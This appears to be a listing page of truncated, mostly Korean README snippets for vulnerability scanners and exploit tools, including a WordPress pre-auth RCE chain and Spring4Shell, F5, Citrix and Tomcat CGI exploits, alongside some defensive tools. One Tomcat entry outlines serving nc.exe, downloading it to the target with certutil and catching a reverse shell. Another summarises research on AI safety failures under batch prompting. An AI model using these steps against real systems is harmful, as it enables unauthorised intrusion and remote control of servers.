WP2Shell

WP2Shell - CVE-2026-63030 / CVE-2026-60137 WordPress REST API Batch SQL Injection to RCE 워드프레스 REST API 배치 엔드포인트 취약점에 대한 완전한 탐지 및 익스플로잇 도구입니다. 이 도구는 WordPress REST API /wp-json/batch/v1 엔드포인트의 중요한 SQL 인젝션 취약점을 이용하여, 인증되지 않은 공격자가 취약한 WordPress 설치에서 임의의 SQL 쿼리를 실행하고 원격 코드 실행RCE을 달성할 수 있게 합니다. ⚡ 기능 ...

CVE-2020-8209

사용 방법 및 면책 조항 이 스크립트는 Citrix XenMobile 디렉터리 트래버설 취약점CVE-2020-8209에 대한 대량 탐지 스크립트입니다. 사용 방법: Python CVE-2020-8209-Multiple.py url.txt 취약점이 존재하는 주소는 vul.txt에 출력됩니다. 영향을 받는 버전: RP2 이전의 Citrix XenMobile Server 10.12 RP4 이전의 Citrix XenMobile Server 10.11 RP6 이전의 Citrix XenMobile Server 10.10 RP5 이전의...

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증 없는 원격 코드 실행 RCE REST API 배치 라우트 혼동CVE-2026-63030과 WPQuery authornotin SQL 인젝션CVE-2026-60137의 체이닝 → 기본 WordPress 설치에 대한 인증 전 원격 코드 실행. Adam KuesAssetnote / Searchlight Cyber가 발견, 2026-07-17 공개. 권고: GHSA-ff9f-jf42-662q,...

CVE-2021-22005-

CVE-2021-22005- CVE-2021-22005 대량 검증 파이썬 스크립트 실행 환경: python3 실행: 검증할 URL을 텍스트 파일예: url.txt에 넣고 python3 url.txt를 실행하면 됩니다...

Apache-APISIX-CVE-2022-24112

Apache APISIX 원격 코드 실행 CVE-2022-24112 익스플로잇 요약 공격자는 batch-requests 플러그인을 악용하여 Admin API의 IP 제한을 우회하는 요청을 보낼 수 있습니다. Apache APISIX의 기본 구성기본 API 키 사용은 원격 코드 실행에 취약합니다. 관리자 키가 변경되었거나 Admin API 포트가 데이터 패널과 다른 포트로 변경된 경우 영향은 낮아집니다. 그러나 Apache APISIX 데이터 패널의 IP 제한을 우회할 위험은 여전히 존재합니다. batch-requests...

f5_rce_poc

사용 python3 f5rce.py -u 대상 URL 지정 -f 일괄 탐지 파일 -c 명령 실행 -s/--ssrf ssrf를 통해 token을 획득하여 명령 실행 실행 결과는 다음과 같습니다: python3 f5rce.py -u 127.0.0.1 --ssrf 명령 실행 후 exit를 입력하면 종료됩니다 PS: 출력이 예쁘지 않아서 수정하겠습니다 😁 후속 업데이트: 일부 명령 실행 오류 상황 수정 SSRF로 Token을 획득하여 명령 실행 기능 추가 1. 정규식 매칭, 출력 다듬기 2. 다른 poc 활용 방식 업데이트 참조...

spring4shell_behinder

Spring4shellbehinder 이것은 무엇인가요? spring4shell 취약점CVE-2022-22965을 대상으로 하는 대량 빠른 익스플로잇 도구입니다. 기여자 4nth0ny @금요일 연구소 이슈/PR 환영합니다 : 환경 python 3.x Behinder3.0 Beta9 설치 python3 -m pip install -r requirements.txt 사용법 python3 springrce.py test.txt test.txt http://127.0.0.1:8080/ http://127.0.0.2:8080/...

Astra Linux – Vulnerability in Linux

A issue was discovered in the Linux kernel versions 3.2 through 5.10.16, as used by Xen. Grant mapping operations often occur during batch hypercalls, where multiple operations are performed in a single hypercall. The success or failure of each operation is reported to the backend driver, and the...

Astra Linux – Vulnerability found in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: netfilter: nftables: Do not ignore the genmask when looking up a chain by its ID. When adding a rule to a chain whose ID is referenced, if that chain has been deleted in the same batch, the rule might end up referencing a deleted...

FLAIR

F-Secure 경량 인시던트 대응 수집 도구 FLAIR 이 문서는 FLAIR 수집 스크립트의 목적과 기본 작동 방식을 설명합니다. 목적 고객 환경에서 인시던트를 조사하는 동안 IR 팀이 환경 전반에 걸쳐 아티팩트를 수집하는 데 활용할 수 있는 EDR이 배포되지 않은 경우가 있습니다. FLAIR는 대상 호스트에서 여러 핵심 아티팩트를 반자동으로 수집하기 위해 만들어졌습니다. FLAIR는 호스트의 전체 포렌식 이미지에서 얻을 수 있는 심층 데이터 수준과 EDR 솔루션이 제공하는 보다 타겟팅되고 대화형 방식 사이의 격차를 메웁니다...

shadowhammer

배치 모드 Shadowhammer MAC 주소 검사기 Kaspersky는 최근 'Shadowhammer' 공격https://securelist.com/operation-shadowhammer/89992을 발견하고 분석했습니다. 그들은 훌륭한 분석을 수행했고, 시스템 관리자가 자신의 시스템이 표적이 되었는지 확인할 수 있는 도구를 공개했습니다. 그러나 공개된 도구는 스크립트로 다루기가 쉽지 않아서, 우리는 이를 해결하기 위해 이 작은 Python 스크립트를 만들었습니다. Kaspersky 자체 도구에서 해시를 가져와 멋진 명령줄...

CVE-2026-63030

CVE-2026-63030 WordPress REST 일괄 처리 라우트 혼동 SQL 인젝션 CVE-2026-63030 개념 증명 연구, 익스플로잇 개발 및 문서화:Ch4120N ⚠️ 법적 고지 이 저장소와 함께 제공되는 도구exploit.py는 엄격히 교육 목적, 승인된 침투 테스트 및 보안 연구를 위해 제작되었습니다. 명시적이고 사전 서면 동의 없이 이 익스플로잇을 대상에 사용하는 것은 불법이며, 전 세계적으로 컴퓨터 사기 및 남용 관련 법률을 위반합니다. 작성자Ch4120N는 이 코드의 사용으로 인해 발생하는 모든 오용, 피...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE 쿼리 문자열 인수를 통한 Windows 배치 스크립트 인젝션 설명 Apache Tomcat에서 CGI 서블릿이 활성화되고 enableCmdLineArguments=true로 설정되면, 쿼리 문자열 파라미터가 CGI 스크립트의 명령줄 인수로 전달됩니다. Windows에서 배치 파일.bat/.cmd은 &를 명령 구분자로 해석하므로, 조작된 URL을 통해 임의의 명령 실행이 가능합니다. 사전 조건 conf/web.x...

CVE-2021-41277

CVE-2021-41277 MetaBase 임의 파일 읽기 취약점 fofa 일괄 poc 공지 본 poc는 대상에 취약점이 존재하는지 여부를 감지하는 용도로만 사용되며, 무단 테스트에 사용하는 것을 엄격히 금지합니다. 작성자는 어떠한 책임도 지지 않습니다. 사용법 fofa.txt에 fofa 일반 회원 계정의 email과 key를 입력하세요. 고급 회원 또는 기업 회원인 경우 python 프로그램에서 해당 조회 가능 데이터 수량을 수정하세요. 바로 실행하면 됩니다...

Wp2Shell

wp2shell WordPress 코어의 사전 인증 원격 코드 실행. CVE-2026-60137 WPQuery의 SQL 인젝션과 CVE-2026-63030 REST API 배치 경로 혼동을 연쇄적으로 사용합니다. 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 영향을 받는 버전 WordPress 6.9.0부터 6.9.4까지, 7.0.0부터 7.0.1까지 취약합니다. 6.9.5 및 7.0.2에서 수정되었습니다. 작동 방식 이 익스플로잇은 두 가지 취약점을 연쇄적으로 사용합니다. CVE-2026-63030 — 배치 경로 혼동...

batch_jailbreak

배치 단위에서의 안전성? 배치 프롬프팅에서의 안전 실패 이해 및 완화 공식 저장소 Kihyun Kim, Hee-Seon Kim, Wonjun Lee, Changick Kim 한국과학기술원 KAIST 소식 2026.09 본 논문이 AACL-IJCNLP 2026 Main 에 채택되었습니다! 🎉 2026.08 논문이 arXiv에 공개되었습니다! 2026.08 코드가 공개되었습니다! 개요 배치 프롬프팅은 여러 질의를 하나의 호출에 묶는 실용적인 추론 전략입니다. 우리는 이것이 유용성 측면에서 성공적이라는 점이 안전성 측면으로 확장되지...

CVE-2026-63030

LANGZ — wp2shell Exploit Tool Author: LANGZ CVE: CVE-2026-63030 Chained with CVE-2026-60137 Severity: Critical CVSS 9.8 Type: Pre-Authentication Remote Code Execution RCE ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用 として提供されています。 このツールを使用することにより、以下に同意したものとみなされます： 自身が所有するシステム、またはテストに対する明示的な書面による許可...

wp2shell

wp2shell WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1에 대한 인증 전 원격 코드 실행입니다. CVE-2026-63030배치 경로 혼동 SQLi을 CVE-2026-60137커스터마이저 체인지셋 재진입과 연결하여 인증 없는 관리자 생성 및 OS 명령 실행을 달성합니다. 비밀번호 크래킹이 필요 없습니다. 이 발견은 hashkitten의 공로입니다. 전체 SLCyber 기술 분석은 여기에서 읽을 수 있습니다. 취약점 WordPress의 REST API 배치 프로세서servebatchrequestv1에는...

CVE-2019-19781

CVE-2019-19781 대량 개념 검증용 사용 제한 1. 사용 전 폴더 내에 "data.txt" 파일이 있어야 하며, 내용은 192.168.1.0/24\n 192.168.2.0/24\n 입니다. 2. Linux에서만 실행하며, python3 CVE-2019-19781-testbata.py 3. 성공적으로 실행되어 취약점이 발견되면 "CVE-2019-19781.txt"로 내보냅니다...

CVE-2019-0232

CGI RCE 익스플로잇 인증되지 않은 RCE를 CGI 배치 엔드포인트를 통해 수행하는 PoC입니다. certutil을 사용하여 타겟에 nc.exe를 다운로드하고 리버스 셸을 트리거합니다. 설정 1. nc.exe 서빙 nc.exe가 있는 동일 디렉토리에서: python3 -m http.server 80 2. 리스너 시작: nc -lvnp 1234 3. 익스플로잇 실행: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip \ --server-port 80 \ --nc-ip...